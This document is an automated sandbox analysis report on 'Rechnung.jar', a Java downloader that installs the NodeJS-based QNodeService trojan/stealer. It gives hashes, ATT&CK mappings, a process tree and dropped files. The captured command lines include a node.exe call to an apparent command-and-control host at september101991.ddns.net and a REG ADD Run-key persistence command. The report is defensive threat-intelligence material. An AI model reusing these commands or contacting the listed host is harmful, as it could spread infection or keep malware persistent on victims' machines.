qnodeservice | 9c4265f1cbaa388bb7e281633c441a52b63b4f8462182a85beebc4e148a152a6

General

Target

Rechnung.jar
Size

106KB
MD5

126760476a6daefa180ec5d62e4d8384
SHA1

a9c1761c7eea022303918e4a97d6ee20481a0e7e
SHA256

9c4265f1cbaa388bb7e281633c441a52b63b4f8462182a85beebc4e148a152a6
SHA512

cd8c71196f2f7c07003972cd970bc0121eb7129a3abc082571371d72eb397f70424fac760a4fa8451104b4d1ecf92e9ee73895e48e6311e68c02e06a47df13f2

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice
Executes dropped EXE 3 IoCs

Processes:

node.exenode.exenode.exe

pid process

3740 node.exe
3980 node.exe
908 node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\dc9c5c7b-6f68-40e4-9d36-e6b11683f892 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\node-v14.12.0-win-x64\node.exe	js
C:\Users\Admin\node-v14.12.0-win-x64\node.exe	js
C:\Users\Admin\node-v14.12.0-win-x64\node.exe	js

Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

23 wtfismyip.com
24 wtfismyip.com

flow	ioc
23	wtfismyip.com
24	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

node.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

Processes:

node.exenode.exenode.exe

pid	process
3740	node.exe
3740	node.exe
3740	node.exe
3740	node.exe
3980	node.exe
3980	node.exe
3980	node.exe
3980	node.exe
908	node.exe
908	node.exe
908	node.exe
908	node.exe
908	node.exe
908	node.exe
908	node.exe
908	node.exe
908	node.exe
908	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

java.exejavaw.exenode.exenode.exenode.execmd.exe

description	pid	process	target process
PID 1028 wrote to memory of 1032	1028	java.exe	javaw.exe
PID 1028 wrote to memory of 1032	1028	java.exe	javaw.exe
PID 1032 wrote to memory of 3740	1032	javaw.exe	node.exe
PID 1032 wrote to memory of 3740	1032	javaw.exe	node.exe
PID 3740 wrote to memory of 3980	3740	node.exe	node.exe
PID 3740 wrote to memory of 3980	3740	node.exe	node.exe
PID 3980 wrote to memory of 908	3980	node.exe	node.exe
PID 3980 wrote to memory of 908	3980	node.exe	node.exe
PID 908 wrote to memory of 2576	908	node.exe	cmd.exe
PID 908 wrote to memory of 2576	908	node.exe	cmd.exe
PID 2576 wrote to memory of 3184	2576	cmd.exe	reg.exe
PID 2576 wrote to memory of 3184	2576	cmd.exe	reg.exe

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\Rechnung.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:1028

C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
"C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\3260f424.tmp
2⤵
- Suspicious use of WriteProcessMemory
PID:1032

C:\Users\Admin\node-v14.12.0-win-x64\node.exe
C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain september101991.ddns.net
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3740

C:\Users\Admin\node-v14.12.0-win-x64\node.exe
C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_3cY3SY\boot.js --hub-domain september101991.ddns.net
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3980

C:\Users\Admin\node-v14.12.0-win-x64\node.exe
C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_3cY3SY\boot.js --hub-domain september101991.ddns.net
5⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:908

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "dc9c5c7b-6f68-40e4-9d36-e6b11683f892" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
6⤵
- Suspicious use of WriteProcessMemory
PID:2576

C:\Windows\system32\reg.exe
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "dc9c5c7b-6f68-40e4-9d36-e6b11683f892" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
7⤵
- Adds Run key to start application
PID:3184

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\.oracle_jre_usage\90737d32e3aba4b.timestamp
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
C:\Users\Admin\AppData\Local\Temp\3260f424.tmp
MD5
126760476a6daefa180ec5d62e4d8384

SHA1
a9c1761c7eea022303918e4a97d6ee20481a0e7e

SHA256
9c4265f1cbaa388bb7e281633c441a52b63b4f8462182a85beebc4e148a152a6

SHA512
cd8c71196f2f7c07003972cd970bc0121eb7129a3abc082571371d72eb397f70424fac760a4fa8451104b4d1ecf92e9ee73895e48e6311e68c02e06a47df13f2

Download Submit
C:\Users\Admin\AppData\Local\Temp\_qhub_node_3cY3SY\boot.js
MD5
3859487feb5152e9d1afc4f8cd320608

SHA1
7bf154c9ddf3a71abf15906cdb60773e8ae07b62

SHA256
8d19e156776805eb800ad47f85ff36b99b8283b721ebab3d47a16e2ae597fe13

SHA512
826a1b3cd08e4652744a975153448288dd31073f60471729b948d7668df8e510fa7b0c6dcd63636043850364bf3cd30c1053349d42d08f8ec7c4a0655188fab8

Download Submit
C:\Users\Admin\node-v14.12.0-win-x64\node.exe
MD5
f0b11a5823c45fc2664e116dc0323bcb

SHA1
612339040c1f927ec62186cd5012f4bb9c53c1b9

SHA256
16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

SHA512
0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

Download Submit
C:\Users\Admin\node-v14.12.0-win-x64\node.exe
MD5
f0b11a5823c45fc2664e116dc0323bcb

SHA1
612339040c1f927ec62186cd5012f4bb9c53c1b9

SHA256
16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

SHA512
0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

Download Submit
C:\Users\Admin\node-v14.12.0-win-x64\node.exe
MD5
f0b11a5823c45fc2664e116dc0323bcb

SHA1
612339040c1f927ec62186cd5012f4bb9c53c1b9

SHA256
16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

SHA512
0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

Download Submit
memory/908-185-0x0000000B3B340000-0x0000000B3B341000-memory.dmp

Filesize
4KB

Download
memory/908-183-0x0000000000000000-mapping.dmp

Download
memory/1032-54-0x0000000000000000-mapping.dmp

Download
memory/2576-186-0x0000000000000000-mapping.dmp

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memory/3184-187-0x0000000000000000-mapping.dmp

Download
memory/3740-176-0x0000000000000000-mapping.dmp

Download
memory/3740-178-0x0000016EED740000-0x0000016EED741000-memory.dmp

Filesize
4KB

Download
memory/3980-181-0x0000025D0C280000-0x0000025D0C281000-memory.dmp

Filesize
4KB

Download
memory/3980-179-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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